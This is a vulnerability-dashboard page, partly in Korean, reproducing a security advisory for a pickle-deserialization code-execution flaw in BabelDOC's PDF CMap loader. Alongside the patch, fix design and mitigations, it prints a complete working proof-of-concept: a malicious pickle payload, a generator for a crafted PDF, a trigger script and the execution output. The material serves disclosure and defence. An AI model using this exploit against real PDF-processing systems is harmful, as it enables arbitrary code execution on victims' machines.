Kestrel
대시보드로 돌아가기
CVE-2026-54071HIGH· 7.8GHSA대응게시일: 2026. 07. 10.수정일: 2026. 07. 10.

BabelDOC: Arbitrary Code Execution via CMap Pickle Deserialization in babeldoc/pdfminer/cmapdb.py

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.8high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한차기 업그레이드 시CISA SSVC 기준

별도 긴급 패치 불필요 — 정기 시스템 업그레이드 주기에 맞춰 조치

완전 장악· KEV 미등재 · 자동화 어려움 · 완전 장악 · 내부 한정

CVSS 벡터 · 메트릭

악용 경로
공격 벡터로컬
공격 복잡도낮음
필요 권한불필요
사용자 상호작용필요
범위불변
영향
기밀성 영향높음
무결성 영향높음
가용성 영향높음
버전별 점수
CVSS 3.17.8HIGH
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

상세 설명

Arbitrary Code Execution via CMap Pickle Deserialization in babeldoc/pdfminer/cmapdb.py

Summary

BabelDOC's vendored PDF parser (babeldoc/pdfminer/cmapdb.py) deserializes untrusted pickle data when loading CMap files. The _load_data() method strips only NUL bytes from a PDF-controlled CMap name, then passes it directly to os.path.join() and pickle.loads(). Because Python's os.path.join() discards all preceding path components when it encounters an absolute path segment, an attacker who embeds a hex-encoded absolute path in a crafted PDF's /Encoding name (e.g., /#2Ftmp#2Fattacker#2Fevil) can redirect deserialization to any attacker-writable .pickle.gz file on the local system. Processing such a PDF results in arbitrary Python code execution with the privileges of the BabelDOC process.

Details

The vulnerable function is CMapDB._load_data() at babeldoc/pdfminer/cmapdb.py:232–245:

python
1@classmethod
2def _load_data(cls, name: str) -> Any:
3 name = name.replace("\0", "") # line 233 — only NUL is stripped
4 filename = "%s.pickle.gz" % name # line 234 — attacker-controlled string
5 ...
6 for directory in cmap_paths:
7 path = os.path.join(directory, filename) # line 241 — no realpath/canonical check
8 if os.path.exists(path):
9 gzfile = gzip.open(path)
10 try:
11 return type(str(name), (), pickle.loads(gzfile.read())) # line 245 — unconditional pickle

Path injection via PDF name hex-encoding. The PDF specification allows name objects to encode arbitrary bytes as #xx. The pdfminer literal-name parser (psparser._parse_literal_hex) decodes these sequences before handing the string to higher layers. Consequently, the PDF literal /#2Ftmp#2Fattacker#2Fevil is decoded to the Python string /tmp/attacker/evil.

Python os.path.join() absolute-path override. When the decoded name starts with / (i.e., it is an absolute path), Python's os.path.join(directory, name + ".pickle.gz") ignores directory entirely and returns the absolute path unchanged. The trusted cmap_paths directories (/usr/share/pdfminer/, the package's own cmap/ folder) are therefore completely bypassed.

Data flow from PDF to sink:

  1. babeldoc/main.py:611–622 — CLI accepts a PDF path; only existence and .pdf suffix are checked.
  2. babeldoc/main.py:678–679 — path stored in TranslationConfig(input_file=file).
  3. babeldoc/format/pdf/high_level.py:472–488translation_config.input_file enters the translate pipeline.
  4. babeldoc/format/pdf/high_level.py:805–848 — PDF saved to temp_pdf_path and parsed with parse_prepared_pdf_with_new_parser_to_legacy_ir.
  5. babeldoc/format/pdf/new_parser/native_parse.py:60–70 — prepared pages loaded and interpreted.
  6. babeldoc/format/pdf/new_parser/pymupdf_prepared_page_access.py:25–34 — PyMuPDF opens the PDF and builds page resources.
  7. babeldoc/format/pdf/new_parser/prepared_resource_builder.py:84–94 — font resources converted to PreparedFontSpec.
  8. babeldoc/format/pdf/new_parser/active_font_resource_runtime.py:21–35 — page resource bundle resolves root font map.
  9. babeldoc/format/pdf/new_parser/active_font_runtime.py:79–87 — each font spec projected and passed to font_factory.create_font.
  10. babeldoc/format/pdf/new_parser/active_direct_font_backend.py:291–292, 491–493 — CID fonts call build_cid_cmap(spec, literal_name=literal_name).
  11. babeldoc/format/pdf/new_parser/runtime/cid_cmap_runtime.py:52–77 — PDF-controlled /Encoding/CMapName normalized and passed to CMapDB.get_cmap. _normalize_cmap_name() removes only a single leading /; all other path characters pass through.
  12. babeldoc/pdfminer/cmapdb.py:233–245sink: NUL-stripped name used verbatim to construct the path; file opened with gzip and deserialized with pickle.loads().

Sanitization gaps:

  • name.replace("\0", "") removes only the NUL byte; .., /, \, and hex-decoded path separators are unaffected.
  • There is no os.path.realpath(), os.path.abspath(), or os.path.commonpath() containment check before the file is opened.
  • There is no allowlist of known CMap names nor any integrity verification of the pickle data.

Recommended patch (babeldoc/pdfminer/cmapdb.py):

text
1--- a/babeldoc/pdfminer/cmapdb.py
2+++ b/babeldoc/pdfminer/cmapdb.py
3@@
4 cmap_paths = (
5 os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
6 os.path.join(os.path.dirname(__file__), "cmap"),
7 )
8 for directory in cmap_paths:
9- path = os.path.join(directory, filename)
10+ base_dir = os.path.realpath(directory)
11+ path = os.path.realpath(os.path.join(base_dir, filename))
12+ try:
13+ if os.path.commonpath([base_dir, path]) != base_dir:
14+ continue
15+ except ValueError:
16+ continue
17 if os.path.exists(path):
18 gzfile = gzip.open(path)

A more complete fix replaces the pickle-backed CMap loader with a signed or static data format (e.g., JSON or generated Python modules) that does not carry executable code.

PoC

Environment setup (Docker — recommended for isolation):

bash
1# From the repository root
2docker build -t vuln-001-babeldoc-cmap -f vuln-001/Dockerfile .
3docker run --rm vuln-001-babeldoc-cmap

Manual setup (local venv):

text
1python3 -m venv /tmp/babeldoc-poc-venv
2source /tmp/babeldoc-poc-venv/bin/activate
3pip install freetype-py==2.5.1 charset-normalizer cryptography
4export PYTHONPATH=/path/to/BabelDOC
5python3 poc.py

PoC script (poc.py) — key steps:

python
1import gzip, pathlib, pickle, sys
2
3CMAP_STAGING_DIR = pathlib.Path("/tmp/babeldoc-cmap-poc")
4MALICIOUS_PICKLE = CMAP_STAGING_DIR / "malicious.pickle.gz"
5MALICIOUS_PDF = CMAP_STAGING_DIR / "malicious.pdf"
6PROOF_FILE = pathlib.Path("/tmp/babeldoc_cmap_rce_proof.txt")
7
8# Step 1 — write the malicious pickle to a world-writable location
9class MaliciousPayload:
10 def __reduce__(self):
11 return (pathlib.Path(str(PROOF_FILE)).write_text,
12 ("RCE_CONFIRMED: pickle.loads executed attacker payload",))
13
14CMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True)
15with gzip.open(MALICIOUS_PICKLE, "wb") as fh:
16 pickle.dump(MaliciousPayload(), fh)
17
18# Step 2 — craft a PDF whose /Encoding name hex-encodes the absolute path
19# "/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious" decodes to "/tmp/babeldoc-cmap-poc/malicious"
20encoding_name = b"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious"
21
22# ... (minimal PDF structure with a Type0 CID font referencing encoding_name) ...
23# Full source in poc.py
24
25# Step 3 — trigger via the pdfminer high-level API
26from babeldoc.pdfminer.high_level import extract_text
27try:
28 extract_text(str(MALICIOUS_PDF))
29except TypeError:
30 pass # expected: type(name, (), <int>) fails after write_text returns int
31
32# Step 4 — verify
33assert PROOF_FILE.exists(), "FAIL: proof file not created"
34print(PROOF_FILE.read_text()) # => "RCE_CONFIRMED: pickle.loads executed attacker payload"

Phase 2 dynamic reproduction output (Docker container):

text
1[+] Malicious pickle written: /tmp/babeldoc-cmap-poc/malicious.pickle.gz
2[+] Malicious PDF written: /tmp/babeldoc-cmap-poc/malicious.pdf
3[*] Calling extract_text(/tmp/babeldoc-cmap-poc/malicious.pdf) ...
4[*] extract_text raised TypeError: type.__new__() argument 3 must be dict, not int
5[*] This exception is expected; the payload ran before it.
6
7============================================================
8RESULT: PASS
9Proof file: /tmp/babeldoc_cmap_rce_proof.txt
10Content: 'RCE_CONFIRMED: pickle.loads executed attacker payload'
11============================================================

The TypeError is benign and expected: write_text() returns an integer, and the subsequent type(name, (), <int>) call in _load_data() raises before reaching further code. The payload already executed successfully at that point.

Attack path summary:

bash
1PDF /Encoding /#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious
2 -> pdfminer hex-decodes #2F -> '/'
3 -> literal_name = "/tmp/babeldoc-cmap-poc/malicious"
4 -> CMapDB._load_data("/tmp/babeldoc-cmap-poc/malicious")
5 -> filename = "/tmp/babeldoc-cmap-poc/malicious.pickle.gz" # absolute path!
6 -> os.path.join("/usr/share/pdfminer/", "/tmp/.../malicious.pickle.gz")
7 == "/tmp/babeldoc-cmap-poc/malicious.pickle.gz" # first arg discarded
8 -> gzip.open() + pickle.loads() -> arbitrary code execution

Impact

This is an Arbitrary Code Execution vulnerability triggered by processing a crafted PDF file. Any user or automated pipeline that runs BabelDOC against untrusted PDF input is at risk.

Who is impacted:

  • End users who open a malicious PDF with the babeldoc CLI or any application embedding BabelDOC's PDF translation/text-extraction functionality.
  • Automated document processing pipelines (CI translation services, document management systems, cloud PDF processors) that ingest user-supplied PDFs without sandboxing.

Attack prerequisites:

  1. The attacker must be able to place a .pickle.gz file at a predictable path on the local filesystem (e.g., /tmp/), or exploit a shared world-writable directory. On Windows systems, UNC/WebDAV paths may provide a remote staging alternative.
  2. The victim must process the crafted PDF through BabelDOC. No elevated privileges or special configuration is required — default PDF processing is the vulnerable code path.

Scope: The attack crosses security boundaries (e.g., a lower-privileged attacker influencing files processed by a different user's process), justifying the Changed scope in the CVSS vector and potential lateral movement between users on multi-user systems.

Consequences: Full code execution with the victim process's privileges — confidentiality breach, data modification, denial of service, and potential privilege escalation depending on the deployment context.

Reproduction artifacts

Dockerfile
sql
1FROM python:3.11-slim
2
3# Install system-level dependencies for freetype
4RUN apt-get update && apt-get install -y --no-install-recommends \
5 libfreetype6 \
6 && rm -rf /var/lib/apt/lists/*
7
8# Install minimal Python dependencies required by babeldoc/pdfminer
9RUN pip install --no-cache-dir \
10 freetype-py==2.5.1 \
11 charset-normalizer \
12 cryptography
13
14# Copy the BabelDOC repository (only babeldoc package directory is needed)
15COPY repo/babeldoc /app/babeldoc
16
17# Copy the PoC script
18COPY vuln-001/poc.py /app/poc.py
19
20WORKDIR /app
21
22# PYTHONPATH exposes babeldoc package without a full pip install
23ENV PYTHONPATH=/app
24
25CMD ["python3", "poc.py"]
poc.py
python
1"""
2PoC: CMap Pickle Deserialization via Absolute Path Injection
3CVE Candidate: VULN-001 in funstory-ai/BabelDOC v0.6.2
4
5Vulnerability: babeldoc/pdfminer/cmapdb.py _load_data() only strips NUL bytes
6from the CMap name before building a filesystem path. A PDF name object
7using #xx hex-encoding can inject absolute path characters (/) so that
8os.path.join() discards the trusted cmap directory entirely, opening and
9unpickling an attacker-placed .pickle.gz file.
10
11Attack flow:
12 PDF /Encoding /#2Ftmp#2F...#2Fmalicious
13 -> pdfminer hex-decodes #2F -> '/'
14 -> literal_name() returns "/tmp/.../malicious"
15 -> _load_data("/tmp/.../malicious")
16 -> filename = "/tmp/.../malicious.pickle.gz" (absolute path!)
17 -> os.path.join("/usr/share/pdfminer/", "/tmp/.../malicious.pickle.gz")
18 == "/tmp/.../malicious.pickle.gz" (Python discards first arg)
19 -> gzip.open() + pickle.loads() => arbitrary code execution
20"""
21
22import gzip
23import os
24import pathlib
25import pickle
26import sys
27
28# ---------------------------------------------------------------------------
29# Configuration
30# ---------------------------------------------------------------------------
31CMAP_STAGING_DIR = pathlib.Path("/tmp/babeldoc-cmap-poc")
32MALICIOUS_PICKLE = CMAP_STAGING_DIR / "malicious.pickle.gz"
33MALICIOUS_PDF = CMAP_STAGING_DIR / "malicious.pdf"
34PROOF_FILE = pathlib.Path("/tmp/babeldoc_cmap_rce_proof.txt")
35
36
37# ---------------------------------------------------------------------------
38# Step 1: Build the malicious pickle payload
39# ---------------------------------------------------------------------------
40class MaliciousPayload:
41 """Pickle payload that writes a proof file on deserialization."""
42
43 def __reduce__(self):
44 # Write proof file when unpickled; any writable command works here.
45 return (
46 pathlib.Path(str(PROOF_FILE)).write_text,
47 ("RCE_CONFIRMED: pickle.loads executed attacker payload",),
48 )
49
50
51def create_malicious_pickle():
52 CMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True)
53 PROOF_FILE.unlink(missing_ok=True)
54
55 with gzip.open(MALICIOUS_PICKLE, "wb") as fh:
56 pickle.dump(MaliciousPayload(), fh)
57
58 print(f"[+] Malicious pickle written: {MALICIOUS_PICKLE}")
59
60
61# ---------------------------------------------------------------------------
62# Step 2: Build the malicious PDF
63# ---------------------------------------------------------------------------
64def create_malicious_pdf():
65 """
66 Craft a minimal PDF with a Type0 CID font whose /Encoding name is a
67 PDF literal that hex-encodes an absolute Unix path.
68
69 PDF name syntax: /<characters> where #xx is hex escape for byte 0xxx.
70 "/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious" decodes to the name value
71 "/tmp/babeldoc-cmap-poc/malicious" (starts with '/').
72
73 When passed through babeldoc/pdfminer:
74 literal_name(PSLiteral) -> "/tmp/babeldoc-cmap-poc/malicious"
75 _load_data() -> filename = "/tmp/babeldoc-cmap-poc/malicious.pickle.gz"
76 os.path.join("/usr/share/pdfminer/", "/tmp/.../malicious.pickle.gz")
77 => "/tmp/babeldoc-cmap-poc/malicious.pickle.gz" (absolute wins!)
78 """
79 # Hex-encoded encoding name: /tmp/babeldoc-cmap-poc/malicious
80 # '#2F' = '/' in PDF name hex encoding
81 encoding_name = b"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious"
82
83 content_stream = b"BT\n/F1 12 Tf\n100 700 Td\n(Malicious PDF) Tj\nET\n"
84
85 # PDF objects (1-indexed)
86 objs = [
87 # 1: Catalog
88 b"<< /Type /Catalog /Pages 2 0 R >>",
89 # 2: Pages
90 b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
91 # 3: Page - references content stream (4) and font (5)
92 b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]"
93 b" /Contents 4 0 R /Resources << /Font << /F1 5 0 R >> >> >>",
94 # 4: Content stream
95 b"<< /Length %d >>\nstream\n" % len(content_stream)
96 + content_stream
97 + b"\nendstream",
98 # 5: Type0 font with malicious /Encoding name
99 b"<< /Type /Font /Subtype /Type0 /BaseFont /MalFont"
100 b" /Encoding " + encoding_name + b""
101 b" /DescendantFonts [6 0 R] >>",
102 # 6: CIDFontType2 descendant
103 b"<< /Type /Font /Subtype /CIDFontType2 /BaseFont /MalFont"
104 b" /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity)"
105 b" /Supplement 0 >> /FontDescriptor 7 0 R >>",
106 # 7: FontDescriptor (minimal)
107 b"<< /Type /FontDescriptor /FontName /MalFont /Flags 4"
108 b" /FontBBox [-1000 -1000 1000 1000] /ItalicAngle 0"
109 b" /Ascent 1000 /Descent -200 /CapHeight 800 /StemV 80 >>",
110 ]
111
112 buf = bytearray(b"%PDF-1.4\n")
113 offsets = []
114 for i, obj_data in enumerate(objs, 1):
115 offsets.append(len(buf))
116 buf += f"{i} 0 obj\n".encode() + obj_data + b"\nendobj\n"
117
118 xref_offset = len(buf)
119 buf += f"xref\n0 {len(objs) + 1}\n0000000000 65535 f \n".encode()
120 for off in offsets:
121 buf += f"{off:010d} 00000 n \n".encode()
122 buf += (
123 f"trailer\n<< /Size {len(objs) + 1} /Root 1 0 R >>\n"
124 f"startxref\n{xref_offset}\n%%EOF\n"
125 ).encode()
126
127 MALICIOUS_PDF.write_bytes(bytes(buf))
128 print(f"[+] Malicious PDF written: {MALICIOUS_PDF}")
129
130
131# ---------------------------------------------------------------------------
132# Step 3: Trigger the vulnerability via babeldoc pdfminer extract_text
133# ---------------------------------------------------------------------------
134def trigger_exploit():
135 from babeldoc.pdfminer.high_level import extract_text
136
137 print(f"[*] Calling extract_text({MALICIOUS_PDF}) ...")
138 try:
139 result = extract_text(str(MALICIOUS_PDF))
140 print(f"[+] extract_text completed, returned {len(result)} chars")
141 except Exception as exc:
142 # A TypeError is expected: after pickle.loads() returns the result of
143 # write_text() (an int), the code tries type(name, (), <int>) which
144 # raises TypeError. The write has already happened at this point.
145 print(f"[*] extract_text raised {type(exc).__name__}: {exc}")
146 print("[*] This exception is expected; the payload ran before it.")
147
148
149# ---------------------------------------------------------------------------
150# Step 4: Verify RCE evidence
151# ---------------------------------------------------------------------------
152def verify_rce():
153 if PROOF_FILE.exists():
154 content = PROOF_FILE.read_text()
155 print()
156 print("=" * 60)
157 print("RESULT: PASS")
158 print(f"Proof file: {PROOF_FILE}")
159 print(f"Content: {content!r}")
160 print("=" * 60)
161 return True
162 else:
163 print()
164 print("=" * 60)
165 print("RESULT: FAIL")
166 print(f"Proof file {PROOF_FILE} was NOT created.")
167 print("=" * 60)
168 return False
169
170
171# ---------------------------------------------------------------------------
172# Main
173# ---------------------------------------------------------------------------
174def main():
175 print("=== VULN-001 PoC: CMap Pickle Deserialization via Path Injection ===")
176 print(f"Python: {sys.version}")
177 print()
178
179 create_malicious_pickle()
180 create_malicious_pdf()
181 trigger_exploit()
182 success = verify_rce()
183
184 sys.exit(0 if success else 1)
185
186
187if __name__ == "__main__":
188 main()

Notes from the maintainer

CVSS revision note

The CVSS v3.1 vector has been revised from the reporter's initial
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H (8.6) to
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8) on maintainer
review. The severity rating remains High.

One metric is revised; the remaining metrics (AV:L, AC:L, PR:N,
UI:R, C:H/I:H/A:H) are unchanged from the reporter's assessment.

  • Scope: Changed → Unchanged. BabelDOC is a PDF-processing
    library running with the caller process's operating-system
    permissions; it does not enforce a separate security authority over
    OS files, users, or downstream services. The malicious pickle
    payload executes in that same BabelDOC Python process. Under CVSS
    v3.1, this is Scope Unchanged: the vulnerable component and the
    impacted component are governed by the same authority. No sandbox,
    VM, browser-client, or application-defined authorization boundary
    is crossed.

The remaining metrics are retained intentionally:

  • AV:L, PR:N, UI:R: the attack requires local presence of
    attacker-influenced data (consistent with AV:L), does not require
    authenticated access to BabelDOC itself (PR:N), and depends on a
    user actually processing the crafted PDF (UI:R).
  • AC:L: kept aligned with industry practice for CWE-502
    deserialization issues; once the supporting filesystem condition
    exists, the same-process exploitation path is consistent and
    repeatable.
  • C:H, I:H, A:H: full code-execution impact within the
    BabelDOC process.

We thank EQSTLab for the detailed report and PoC; this revision is
limited to CVSS metric interpretation, and the issue remains High
severity when exploitable.

Full sink coverage (2 independently exploitable PDF paths + 2 defense-in-depth call sites)

The original report covers entry point (1): the Encoding / CMapName
font dictionary path, with absolute-path injection. Local review during
patch preparation identified that the same _load_data sink is reached
from one additional independently exploitable PDF-controlled path and
two prefixed call sites covered at the sink for defense in depth:

  1. Encoding / CMapName references in a font dictionary
    (reported entry; absolute-path injection per the upstream report,
    .. relative traversal also exploitable)
  2. The PostScript usecmap operator inside an embedded CMap stream
    (independently exploitable via .. relative traversal; not in the
    original report)
  3. CIDSystemInfo.Ordering flowing through get_unicode_map in the
    legacy pdfminer pipeline
  4. CIDSystemInfo.Ordering flowing through get_unicode_map in the
    active new-parser pipeline

Call sites (3) and (4) were not reproduced as standalone PDF-only
exploit paths in v0.6.x. The get_unicode_map caller prepends a
to-unicode- prefix to the PDF-controlled name, which breaks
absolute-path injection and means .. traversal would require an
additional crafted directory layout such as a to-unicode-*
component under a CMap search location. The 0.6.3 sink-level fix
still covers these call sites, so future removal of the prefix or
a future unprefixed caller remains blocked.

Fix design

The runtime CMap loader in 0.6.3 refuses to deserialize any file that
does not simultaneously:

  1. appear in a pinned manifest of bundled CMap filenames (allowlist),
  2. resolve inside the bundled runtime/data/cmap directory after path
    resolution (containment check), and
  3. byte-for-byte match the manifest's pinned byte size and SHA-256.

The integrity check runs on the compressed on-disk .gz bytes before
decompression, so files whose compressed size or SHA-256 differs from
the pinned manifest are rejected before gzip or pickle sees them.
The legacy CMAP_PATH external search path is removed entirely; only
the bundled directory is consulted. The active new-parser pipeline
and the vendored pdfminer pipeline share the same verified-load entry
point.

Related hardening shipped in 0.6.3

A separate hardening in the same release sanitizes PDF-controlled
XObject names before they reach the optional ImageWriter output
path, preventing PDF-driven writes outside the configured output
directory. This is separate from BabelDOC's default translation
pipeline: the optional ImageWriter is not used by default and is
only reachable when a third-party caller passes an explicit
output_dir. It is included here for completeness.

Risk reduction if you cannot upgrade immediately

These steps reduce known exploit preconditions on pre-0.6.3 versions;
they are not equivalent to the 0.6.3 fix.

  • Do not set the CMAP_PATH environment variable when running
    BabelDOC. 0.6.3 removes this variable entirely; on pre-0.6.3
    versions, unsetting it limits the attack surface to the bundled
    cmap directory under the BabelDOC package.
  • Run BabelDOC under an account that cannot create files in any
    directory BabelDOC will read CMap data from, including any
    pre-0.6.3 CMAP_PATH target.
  • Process only PDFs from trusted sources until upgrading.

Maintenance policy

BabelDOC publishes security fixes only in the latest release. We do
not publish maintainer-supported backports for older minor, patch, or
release lines. For this advisory, the maintainer-supported fixed
version is 0.6.3 or later; downstream distributors may carry their
own patches, but older BabelDOC releases will not receive a separate
upstream backport.

Acknowledgements

We thank EQSTLab for the detailed private report, complete
reproduction material, and coordinated-disclosure cooperation that
allowed this fix to be prepared and released before public
disclosure.

Timeline

  • 2026-06-03 04:34 UTC: EQSTLab opens the private advisory draft and
    notifies maintainers
  • 2026-06-03 09:21 UTC: BabelDOC 0.6.3 released with the fix
  • 2026-06-03 09:50 UTC: this advisory published
  • TBD: CVE identifier assigned (pending GitHub CNA review; GitHub
    documentation says CVE requests are usually reviewed within 72
    hours)

References

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.